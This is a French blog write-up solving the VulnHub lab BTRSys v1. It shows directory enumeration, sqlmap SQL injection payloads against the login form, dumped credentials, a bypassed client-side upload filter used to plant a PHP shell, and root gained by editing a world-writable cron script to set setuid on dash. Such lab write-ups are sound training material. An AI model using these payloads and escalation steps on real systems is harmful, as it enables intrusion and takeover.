Accueil Solution du CTF BTRSys: v1 de VulnHub
Post
Annuler

Solution du CTF BTRSys: v1 de VulnHub

BTRSys: v1 est un CTF créé par İsmail Önder Kaya et proposé sur VulnHub. C’est un CTF simple, la seule particularité c’est que le site web du CTF est en turc mais Google Translate ou Deepl sont là pour vous aider.

On a sur ce CTF un SSH, un FTP et un serveur Apache. Le FTP n’a été d’aucune utilité dans la suite de ce CTF.

Turkish PHP

Quand on visite le site on trouve deux pages PHP. Il est temps d’énumérer un peu plus :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ feroxbuster -u http://192.168.56.179/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt -n -x php,html,txt,zip -N 10

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.179/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 💢  Line Count Filter     │ 10
 💲  Extensions            │ [php, html, txt, zip]
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200        1l        0w        2c http://192.168.56.179/config.php
301        9l       28w      317c http://192.168.56.179/uploads
301        9l       28w      316c http://192.168.56.179/assets
301        9l       28w      320c http://192.168.56.179/javascript
200      198l      367w     4561c http://192.168.56.179/login.php
200       29l       39w      758c http://192.168.56.179/
200       29l       39w      758c http://192.168.56.179/index.php
200       80l      983w        0c http://192.168.56.179/hakkimizda.php
200        4l        0w       11c http://192.168.56.179/gonder.php
200       58l      136w     1987c http://192.168.56.179/personel.php
[####################] - 2m    598005/598005  0s      found:10      errors:0      
[####################] - 2m    598005/598005  3704/s  http://192.168.56.179/

On a ici un dossier uploads vide et une page de login qui n’était pas référencé par les deux pages visibles.

Je lance Wapiti pour qu’il scanne le site en prenant en compte la page de login :

1
wapiti -u http://192.168.56.179/ -s http://192.168.56.179/login.php -v2 --color

Pas trop de surprises à y trouver une faille SQL, car dans la page de login, on voyait une vérification en Javascript sur la présence d’une apostrophe.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[*] Launching module sql
[+] GET http://192.168.56.179/ (0)
[+] GET http://192.168.56.179/hakkimizda.php (1)
[+] GET http://192.168.56.179/index.php (1)
[+] GET http://192.168.56.179/login.php (0)
[+] GET http://192.168.56.179/personel.php (1)
[+] POST http://192.168.56.179/personel.php (1)
        data: kullanici_adi=wapiti2021%40mailinator.com&parola=Letm3in_
[¨] POST http://192.168.56.179/personel.php (1)
        data: kullanici_adi=wapiti2021%40mailinator.com%C2%BF%27%22%28&parola=Letm3in_
---
SQL Injection (DBMS: MySQL) in http://192.168.56.179/personel.php via injection in the parameter kullanici_adi
Evil request:
    POST /personel.php HTTP/1.1
    host: 192.168.56.179
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    content-type: application/x-www-form-urlencoded
    referer: http://192.168.56.179/login.php
    content-length: 72
    Content-Type: application/x-www-form-urlencoded

    kullanici_adi=wapiti2021%40mailinator.com%C2%BF%27%22%28&parola=Letm3in_
---
[¨] POST http://192.168.56.179/personel.php (1)
        data: kullanici_adi=wapiti2021%40mailinator.com&parola=Letm3in_%C2%BF%27%22%28
---
SQL Injection (DBMS: MySQL) in http://192.168.56.179/personel.php via injection in the parameter parola
Evil request:
    POST /personel.php HTTP/1.1
    host: 192.168.56.179
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    content-type: application/x-www-form-urlencoded
    referer: http://192.168.56.179/login.php
    content-length: 72
    Content-Type: application/x-www-form-urlencoded

    kullanici_adi=wapiti2021%40mailinator.com&parola=Letm3in_%C2%BF%27%22%28
---

On enchaine avec SQLmap :

1
python sqlmap.py -u http://192.168.56.179/personel.php --data "kullanici_adi=yo@yo.com&parola=123456" --dbms mysql --risk 3 --level 5

Ce dernier nous indique que les deux paramètres passés via POST sont vulnérables :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
sqlmap identified the following injection point(s) with a total of 3372 HTTP(s) requests:
---
Parameter: kullanici_adi (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: kullanici_adi=-1454' OR 3773=3773-- vpaY&parola=123456

    Type: error-based
    Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: kullanici_adi=yo@yo.com' OR ROW(9907,1269)>(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(9907=9907,1))),0x71706b6b71,FLOOR(RAND(0)*2))x FROM (SELECT 5799 UNION SELECT 8295 UNION SELECT 3575 UNION SELECT 8926)a GROUP BY x)-- NBQc&parola=123456

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: kullanici_adi=yo@yo.com' AND (SELECT 9399 FROM (SELECT(SLEEP(5)))xbZi)-- Gkbz&parola=123456

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: kullanici_adi=yo@yo.com' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170716a71,0x6e6f436e546668416d59774253754873487257497545764b6a5661475747484449514550744c745a,0x71706b6b71),NULL-- -&parola=123456

Parameter: parola (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: kullanici_adi=yo@yo.com&parola=-5310' OR 8586=8586-- vQuZ

    Type: error-based
    Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: kullanici_adi=yo@yo.com&parola=123456' OR ROW(5380,2514)>(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(5380=5380,1))),0x71706b6b71,FLOOR(RAND(0)*2))x FROM (SELECT 8932 UNION SELECT 8533 UNION SELECT 9137 UNION SELECT 6658)a GROUP BY x)-- wnTC

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: kullanici_adi=yo@yo.com&parola=123456' AND (SELECT 1490 FROM (SELECT(SLEEP(5)))DBeo)-- lISV

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: kullanici_adi=yo@yo.com&parola=123456' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170716a71,0x63524670634d516476747a644761724f677a555572444d764b775359576276594a4f484279564168,0x71706b6b71),NULL-- -
---

Nos requêtes sont exécutées avec le compte MySQL root mais l’option --passwords n’est pas parvenu à extraire les hashes de la BDD même en mode --hex.

En dumpant spécifiquement la table mysql.user ça fonctionne et on obtient un hash correspondant au clair toor.

L’autre table intéressante est celle utilisée pour la page de login :

1
2
3
4
5
6
7
8
9
Database: deneme
Table: user
[2 entries]
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+
| ID | Parola    | BabaAdi | AnneAdi | Ad_Soyad    | AnneMeslegi | BabaMeslegi | KardesSayisi | Kullanici_Adi    |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+
| 1  | asd123*** | ahmet   | nazli   | ismail kaya | lokantaci   | muhasebe    | 5            | ikaya@btrisk.com |
| 2  | asd123*** | mahmut  | gulsah  | can demir   | tuhafiyeci  | memur       | 8            | cdmir@btrisk.com |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+

On peut alors se connecter sur le site avec ikaya@btrisk.com / asd123***. On arrive ainsi sur une page permettant l’upload de fichier.

Là encore on trouve une protection côté client (Javascript) donc bypassable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<form action="gonder.php" name="myform" method="post" enctype="multipart/form-data">
	<input type="file" id="dosya" name="dosya" accept=".jpg,.png">   
	<input type="button" value="Gonder" onclick="getFile();">
</form>
--- snip ---
<script type="text/javascript">
// accept=".jpg,.png"
function getFile(){
    var filename = document.getElementById("dosya").value;
    var sonuc = ((/[.]/.exec(filename)) ? /[^.]+$/.exec(filename) : undefined);
    if((sonuc == "jpg") || (sonuc == "gif") || (sonuc == "png")){
        document.myform.submit();
    }else{
        //mesaj
        alert("Yanlizca JPG,PNG dosyalari yukleyebilirsiniz.");
        return false;
    }
}
</script>

Via les dev-tools du navigateur, on peut changer le type button en submit et retirer l’appel à Javascript. On peut alors uploader un shell PHP qui se retrouve dans le dossier /uploads.

Turkish root

Une fois notre shell récupéré on remarque un dossier troll dans /home avec l’UID 1000, mais cet utilisateur n’existe plus comme indiqué dans /etc/passwd :

1
2
3
4
5
6
7
8
9
10
lololol:x:1001:1001::/home/lololol:
ps-aux:x:1003:1003::/home/ps-aux:
maleus:x:1004:1004::/home/maleus:
felux:x:1005:1005::/home/felux:
Eagle11:x:1006:1006::/home/Eagle11:
genphlux:x:1007:1007::/home/genphlux:
usmc8892:x:1008:1008::/home/usmc8892:
blawrg:x:1009:1009::/home/blawrg:
wytshadow:x:1010:1010::/home/wytshadow:
vis1t0r:x:1011:1011::/home/vis1t0r:

Idem, aucun des autres utilisateurs présent n’a de fichiers sur le système. Je place donc mon attention sur le compte root :

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@BTRsys1:/home/troll$ find / -user root -writable -ls 2> /dev/null  | grep -v /proc | grep -v /sys
  1244    4 drwxrwxrwt   2 root     root         4096 Apr 16 07:42 /tmp
  7523    0 drwxrwxrwt   2 root     root           40 Apr 16 07:14 /run/shm
  7514    0 drwxrwxrwt   4 root     root           80 Apr 16 07:14 /run/lock
 16472    4 drwxrwxrwt   2 root     root         4096 Apr 30  2017 /var/tmp
 37475    4 -rwxrwxrwx   1 root     root           34 Aug 13  2014 /var/tmp/cleaner.py.swp
 13184    0 lrwxrwxrwx   1 root     root            9 Aug  9  2014 /var/lock -> /run/lock
156275    4 drwxrwxrwx   2 root     root         4096 Apr 16 07:36 /var/www/html/uploads
 41454    4 -rwxrwxrwx   1 root     root           23 Aug 13  2014 /var/log/cronlog
--- snip ---
  5565    0 crw-rw-rw-   1 root     root              Apr 16 07:14 /dev/zero
  5563    0 crw-rw-rw-   1 root     root              Apr 16 07:14 /dev/null
155826    4 -rwxrwxrwx   1 root     root           96 Aug 13  2014 /lib/log/cleaner.py

On trouve un script Python word-writable :

1
2
3
4
5
6
7
#!/usr/bin/env python
import os
import sys
try:
        os.system('rm -r /tmp/* ')
except:
        sys.exit()

On peut vérifier facilement s’il est exécuté en créant un fichier dans /tmp :

1
2
3
4
5
6
7
8
9
10
11
www-data@BTRsys1:/home/troll$ touch /tmp/truc.txt
www-data@BTRsys1:/home/troll$ ls /tmp/
total 8.0K
drwxrwxrwt  2 root     root     4.0K Apr 16 07:44 .
drwxr-xr-x 21 root     root     4.0K Aug  9  2014 ..
-rw-r--r--  1 www-data www-data    0 Apr 16 07:44 truc.txt
www-data@BTRsys1:/home/troll$ sleep 60
www-data@BTRsys1:/home/troll$ ls /tmp/
total 8.0K
drwxrwxrwt  2 root root 4.0K Apr 16 07:46 .
drwxr-xr-x 21 root root 4.0K Aug  9  2014 ..

On pourrait aussi regarder l’autre fichier remonté par find qui est explicite :

1
2
www-data@BTRsys1:/home/troll$ cat /var/log/cronlog
*/2 * * * * cleaner.py

J’ai donc édité le script Python pour qu’il mette le bit setuid sur dash et attendu un peu :

1
2
3
4
5
www-data@BTRsys1:/home/troll$ ls -al /bin/dash
-rwsr-xr-x 1 root root 110K Feb 19  2014 /bin/dash
www-data@BTRsys1:/home/troll$ dash
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

Pas de flag sur le système, mais on a bien les privilèges root.

Cet article est sous licence CC BY 4.0 par l'auteur.